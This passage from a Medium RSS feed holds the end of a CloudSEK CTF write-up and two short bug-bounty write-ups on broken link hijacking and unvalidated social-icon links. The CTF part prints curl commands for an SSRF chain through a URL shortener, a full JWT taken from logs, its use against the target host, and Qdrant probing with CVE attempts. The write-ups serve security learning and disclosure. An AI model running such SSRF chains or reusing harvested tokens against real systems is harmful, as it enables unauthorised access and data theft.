shorten the query_range URL:</p><pre>curl -s &quot;https://da.gd/s?url=http://loki.local:3100/loki/api/v1/query_range?query=%7Bjob%3D%22auth-service%22%7D&amp;start=&gt;&lt;start_ns&gt;&amp;end=&lt;end_ns&gt;&amp;limit=200&quot;<br># → https://da.gd/OAbb</pre><p>Then fetch via SSRF:</p><pre>curl -s &quot;http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FOAbb&quot; \<br>  -o /tmp/loki_logs.json</pre><p>~21KB of JSON came back. Buried in the health-check noise, these lines mattered:</p><pre>GET /ops/api/v1/flag HTTP/1.1 Host=15.206.47.5:8080 -&gt; 200 OK<br>GET /ops/api/v1/health HTTP/1.1 Host=15.206.47.5:8080 -&gt; 200 OK<br>GET /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 HTTP/1.1 Host=15.206.47.5:8080 -&gt; 401 Unauthorized<br>GET /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 HTTP/1.1 Host=15.206.47.5:8080<br>  Authorization=&quot;Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....&quot; -&gt; 200 OK user=ops-admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ATe7szAa_MFKJsPs4PHj5w.png" /></figure><h4>10. Decoy Endpoint</h4><p>The logs also showed traffic to /ops/api/v1/flag. I hit it directly:</p><pre>curl -sS &quot;http://15.206.47.5:8080/ops/api/v1/flag&quot;</pre><pre>{&quot;status&quot;:&quot;NICE_TRY&quot;,&quot;message&quot;:&quot;Nice try, but this is the wrong endpoint. Keep trying.&quot;}</pre><p>Wrong path. The real target is /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 with the JWT from the logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*0h_M9Kod8QftttqB26AdgA.png" /></figure><h4>11. JWT from Logs</h4><p>Full token extracted from the Loki stream:</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhdXRoLXNlcnZpY2UiLCJzdWIiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJhdWQiOiJodHRwOi8vMTUuMjA2LjQ3LjU6ODA4MC9vcHMvYXBpL3YxIiwic2Vzc2lvbl9pZCI6InNlc3MtYWJjMTIzZGVmNDU2IiwiaWF0IjoxNzMxNTgwMzM4LCJleHAiOjE4MzAyOTc1OTl9.L0JUQBFshVBVwJ5s7pwyEWaGdb3vxrO7hpAQlR6ruck</pre><p>Decoded payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*Kt8NFGkMRRowBOflOC3ymQ.png" /></figure><h4>12. Authenticated Data API</h4><pre>curl -sS -H &quot;Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhdXRoLXNlcnZpY2UiLCJzdWIiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJhdWQiOiJodHRwOi8vMTUuMjA2LjQ3LjU6ODA4MC9vcHMvYXBpL3YxIiwic2Vzc2lvbl9pZCI6InNlc3MtYWJjMTIzZGVmNDU2IiwiaWF0IjoxNzMxNTgwMzM4LCJleHAiOjE4MzAyOTc1OTl9.L0JUQBFshVBVwJ5s7pwyEWaGdb3vxrO7hpAQlR6ruck&quot; \<br>  &quot;http://15.206.47.5:8080/ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WvODTARwbu-aIjGxVkrwQ.png" /></figure><p><strong>flag:</strong> CSEK_CTF_2026{flag_cv3_ssrf_2_l0k1_l0g_4n41y515_4d50}</p><h4>Attack Chain</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7BmYGgx0-V3P69kpT7wEBg.png" /></figure><h3>Challenge 5: Total Recall (250 points)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*fwRq4_zZsYiUsh9zvfWB-g.png" /></figure><h4>First look</h4><p>Hit the port expecting some kind of AI chat or memory API. Got Qdrant instead.</p><pre>http://15.206.47.5:5050/</pre><pre>{&quot;title&quot;:&quot;qdrant - vector search engine&quot;,&quot;version&quot;:&quot;1.8.1&quot;,&quot;commit&quot;:&quot;3fbe1cae6cb7f51a0c5bb4b45cfe6749ac76ed59&quot;}</pre><p>So the “memory” from the story is a vector database. Support notes and customer knowledge stored as embeddings, not plain text in a web app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*94A4xOokQ0o9_K-Fm4X_yA.png" /></figure><h4>Collections</h4><pre>curl -s http://15.206.47.5:5050/collections</pre><p>Two collections:</p><ul><li><strong>faq_public</strong> — 6 points, readable FAQ Q&amp;A payloads, Cosine distance</li><li><strong>kb_notes</strong> — 500 points, all empty {} payloads, Dot distance</li></ul><p>faq_public had normal stuff. Payment methods, free trial, password reset, support hours.</p><p>kb_notes matched the story perfectly. 500 internal notes, every payload wiped. Privacy review cleared the text but the vectors are still there.</p><h4>Access: what worked, what didn’t</h4><p><strong>Worked:</strong></p><ul><li><a href="http://15.206.47.5:5050/collections">http://15.206.47.5:5050/collections</a></li><li><a href="http://15.206.47.5:5050/collections/%7Bname%7D">http://15.206.47.5:5050/collections/{name}</a></li><li><a href="http://15.206.47.5:5050/collections/%7Bname%7D/points/scroll">http://15.206.47.5:5050/collections/{name}/points/scroll</a></li><li><a href="http://15.206.47.5:5050/collections/%7Bname%7D/points/search">http://15.206.47.5:5050/collections/{name}/points/search</a></li><li><a href="http://15.206.47.5:5050/collections/%7Bname%7D/points">http://15.206.47.5:5050/collections/{name}/points</a></li></ul><p><strong>Access Denied / 403:</strong></p><ul><li>http://15.206.47.5:5050/telemetry, <a href="http://15.206.47.5:5050/metrics">http://15.206.47.5:5050/metrics</a></li><li>http://15.206.47.5:5050/docs, http://15.206.47.5:5050/openapi.json, <a href="http://15.206.47.5:5050/robots.txt">http://15.206.47.5:5050/robots.txt</a></li><li><a href="http://15.206.47.5:5050/collections/%7Bname%7D/snapshots">http://15.206.47.5:5050/collections/{name}/snapshots</a></li><li>snapshot upload paths</li><li><a href="http://15.206.47.5:5050/collections/kb_notes/points/query">http://15.206.47.5:5050/collections/kb_notes/points/query</a></li><li>most write/admin endpoints</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*xTygLz1HUPcMjN_tINp8Kg.png" /></figure><h4>Data collected</h4><p><strong>faq_public</strong></p><ul><li>6 entries with full question/answer text</li><li>768-dim vectors available on request</li></ul><p><strong>kb_notes</strong></p><ul><li>500 point IDs</li><li>768-dim vectors on request</li><li>zero readable text in any payload (scrolled all 500)</li></ul><p>Only real interaction with the hidden notes was vector search. Send an embedding, get ranked IDs and scores back. No plaintext.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SyuI_8gYZs4OtpGc7o_8wQ.png" /></figure><h4>CVE attempts</h4><p>Qdrant 1.8.1 has known issues:</p><ul><li><strong>CVE-2024–3078</strong> — path traversal in Full Snapshot REST API (patched 1.8.3)</li><li><strong>CVE-2024–2221 / CVE-2024–3584</strong> — arbitrary file upload via snapshot upload (patched 1.9.0)</li></ul><p>Tried snapshot paths, upload endpoints, basic traversal. All blocked. nginx in front, ACL tight on write operations. Didn’t get anywhere with either CVE on this box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*Todb4_NPBABms461-rZV7Q.png" /></figure><p>Out of five challenges, this was the only one I couldn’t solve. Kept coming back to it between other challenges, tried CVE exploits, scrolled all 500 points manually, poked at every accessible endpoint. The semantic search angle clicked late but I ran out of time before I could execute it properly. Closest I got to a wall in this CTF challenge.</p><h3>Wrapping Up</h3><p>That wraps up my writeups for the CloudSEK CTF. Overall, this was genuinely one of the more well designed CTFs I’ve played in a while, real props to whoever built it.</p><p>All in all though, this was a lot of fun. Good mix of difficulty, no filler challenges, and it actually felt like something you’d encounter in a real environment rather than a contrived CTF box. Already looking forward to the next round.</p><blockquote>That’s it for this one. I know it’s a long read, but the challenges were just as long, so felt right to match the energy. Hope you enjoyed going through it as much as I enjoyed solving it.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e03cfea2ce02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Broken Facebook Link Let Me Hijack User Traffic — Twice]]></title>
            <link>https://medium.com/@vaaditya320/how-a-broken-facebook-link-let-me-hijack-user-traffic-twice-79caa1710f6c?source=rss-bbcf9c56db05------2</link>
            <guid isPermaLink="false">https://medium.com/p/79caa1710f6c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[vaaditya320]]></dc:creator>
            <pubDate>Wed, 06 Aug 2025 18:02:42 GMT</pubDate>
            <atom:updated>2025-08-06T18:26:31.589Z</atom:updated>
            <content:encoded><![CDATA[<h3>How a Broken Facebook Link Let Me Hijack User Traffic</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oa3socC1nPw4qVlopVgjaQ.png" /></figure><blockquote><strong>TL;DR:</strong> While doing routine recon, I discovered that a regional Facebook link on redacted.com pointed to an unclaimed username. I quickly registered it and confirmed that all users visiting that region-specific page were now redirected to my Facebook profile — a classic case of <strong>Broken Link Hijacking</strong>.</blockquote><h3>The Setup: Regional Pages &amp; Social Footers</h3><p>During a broad-scope reconnaissance sweep for a bug bounty program, I noticed the program allowed testing on multiple domains including:</p><ul><li>redacted.com</li><li>example.com</li><li>and many more…..</li></ul><p>The homepage of redacted.com had a <strong>&quot;Choose Region&quot;</strong> feature — fairly common for MNC websites. Each region served slightly different versions of the site, including <strong>localized social media links</strong> in the footer.</p><p>While checking each version, I landed on the <strong>Turkey</strong> region’s site — and that’s where I found something interesting.</p><h3>The Bug: A Typo, A Dead Link, A Handle Up for Grabs</h3><p>In the Turkish version of the site, the <strong>Facebook footer icon</strong> linked to:</p><pre>https://facebook.com/unclaimedHandle</pre><p>The username didn’t exist — visiting the link gave a Facebook “Page Not Found” error. That’s when it hit me:</p><blockquote><em>Could I just </em><strong><em>register this Facebook username</em></strong><em> and own the traffic?</em></blockquote><p>I did.</p><h3>Impact: From Broken Link to Controlled Profile</h3><p>After registering the unclaimedHandle on Facebook, anyone visiting the Turkey region page and clicking the Facebook icon was <strong>redirected to my profile</strong>. This included:</p><ul><li>Users</li><li>Press</li><li>Partners</li><li>Potential customers</li></ul><p>I repeated this check across other properties in scope and found <strong>the same bug on</strong>:</p><ul><li>redacted.com → Turkey region footer</li><li>support.example.com → Romania region footer</li></ul><p>The risk was clear: if a malicious actor took over the username, they could impersonate the brand, phish users, or post malicious content — all behind what looks like a <strong>legitimate, trusted icon</strong> on an official site.</p><h3>Why This Matters</h3><p>While this isn’t a high-severity RCE or XSS, it’s a <strong>sneaky form of trust abuse</strong>. Users are conditioned to trust social icons on official sites. If a malicious actor hijacks a broken link, it turns a small oversight into a social engineering foothold.</p><h3>Bounty</h3><p>Both reports were submitted and triaged as valid.</p><ul><li><strong>$275</strong> awarded for redacted.com</li><li><strong>$275</strong> awarded for support.example.com</li></ul><p>That’s a total of <strong>$550</strong> for two low-severity reports — a solid reminder that <strong>impact beats complexity</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YdINdCHJYk4-u43bfDWT_g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_zY_Hr5fyCVWuqfkgIeQw.jpeg" /></figure><h3>Recommendations</h3><ul><li><strong>Monitor and validate social links regularly</strong>, especially for regional versions of the site.</li><li><strong>Claim all official usernames</strong> on platforms like Facebook, Twitter, LinkedIn, even if not actively used.</li><li>Implement tools that <strong>automatically check for broken or unclaimed social links</strong> across all environments.</li></ul><h3>Why This Was Accepted (Even with a Low CVSS)</h3><p>While the <strong>CVSS was 3.8 (Low)</strong>, the bug was accepted because of its <strong>impact in the real world</strong>. Broken link hijacking is especially dangerous on high-traffic, public-facing pages — and even more so when hidden in plain sight under recognizable icons.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79caa1710f6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Social Icon Can Become a Threat Vector]]></title>
            <link>https://medium.com/@vaaditya320/how-a-social-icon-can-become-a-threat-vector-58a2266ff685?source=rss-bbcf9c56db05------2</link>
            <guid isPermaLink="false">https://medium.com/p/58a2266ff685</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[vaaditya320]]></dc:creator>
            <pubDate>Sat, 05 Jul 2025 16:50:15 GMT</pubDate>
            <atom:updated>2025-07-05T16:50:15.259Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6_DVMUJpdgD3HiknZgqb8g.png" /></figure><p>In this write-up, I’ll walk through a <strong>low severity vulnerability</strong> discovered during a penetration test — the kind that bug bounty programs often ignore, but pentesters still care about. It’s a subtle one: <em>abusing social media icons on user profiles</em> to redirect unsuspecting users to malicious pages.</p><p>Yes, we’re talking about the LinkedIn and GitHub icons that everyone clicks on without a second thought. Turns out, when <strong>improper validation meets UI trust</strong>, even a blue button can become dangerous.</p><h3>🔍 TL;DR</h3><ul><li>Users could attach <strong>malicious links</strong> behind social media icons (LinkedIn, GitHub, etc.).</li><li>The platform <strong>did not validate</strong> whether the link matched the selected provider.</li><li>This opens up <strong>phishing, redirection, and XSS chaining</strong> vectors.</li><li>Severity: <strong>Low</strong>, but accepted in pentest context.</li><li>Target: redacted.com</li></ul><h3>🧪 Vulnerability Details</h3><p>The application under test (redacted.com) allowed users to edit their profile and attach social media links. The idea was simple: pick a provider (say, LinkedIn), and paste your profile URL. The frontend then shows a small icon on your public profile that links to that URL.</p><p>But here’s the problem: <strong>no validation</strong>.</p><p>That means an attacker could:</p><ol><li>Select “LinkedIn” from the dropdown.</li><li>Enter a completely unrelated, malicious URL, like:<br> <a href="https://redacted.com/xss-or-phish">https://redacted.com/</a>route-where-xss-can-trigger</li><li>Save the profile.</li><li>Now on the public profile, <strong>the LinkedIn icon links to the attacker’s page.</strong></li></ol><p>This breaks a key user expectation — that clicking on a platform icon takes you to that platform.</p><h3>🎯 Impact</h3><p>While this isn’t a flashy RCE or SQLi, the consequences are real:</p><h3>🔗 Open Redirection</h3><p>Icons that appear trusted redirect users to <strong>attacker-controlled URLs</strong>.</p><h3>🎣 Phishing</h3><p>Users are conditioned to trust provider icons (e.g., GitHub, LinkedIn). This can be weaponized for <strong>social engineering</strong>.</p><h3>🧬 XSS Chaining Potential</h3><p>If an attacker points the icon link to an <strong>XSS-prone page</strong> elsewhere on the app, they can craft a complete payload chain:</p><ul><li>Victim clicks “LinkedIn”</li><li>Redirects to attacker-controlled XSS</li><li>Session hijack or credential theft</li></ul><p>👉 <strong>Worse yet, </strong><strong>redacted.com was missing the </strong><strong>HttpOnly flag on session cookies</strong>, meaning an attacker who lands XSS can directly access document.cookie — and exfiltrate session tokens.</p><h3>🔨 Recommendations</h3><ol><li><strong>Enforce strict mapping</strong> between provider and domain.<br> e.g., LinkedIn should only allow URLs like linkedin.com/in/username.</li><li><strong>Validate on both frontend and backend.</strong><br> Never trust client-side enforcement.</li><li><strong>Sanitize all user-submitted links</strong> before rendering in anchor tags.</li></ol><h3>✅ Why This Was Accepted</h3><p>In public bug bounty programs, this might have been <strong>ignored or marked Informative</strong>. But in a pentest, <strong>impact context matters</strong>. When features can be chained or misused subtly, even small misconfigurations become reportable.</p><p>Security isn’t always about high CVSS scores — it’s about <strong>trust boundaries</strong>, <strong>UX abuse</strong>, and <strong>composability</strong> of bugs.</p><h3>💭 Final Thoughts</h3><p>This bug was a reminder that:</p><blockquote><strong><em>If users can control what looks like a trusted UI element — they can weaponize it.</em></strong></blockquote><p>Icons aren’t just icons. In the wrong hands, they’re clickbait.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58a2266ff685" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>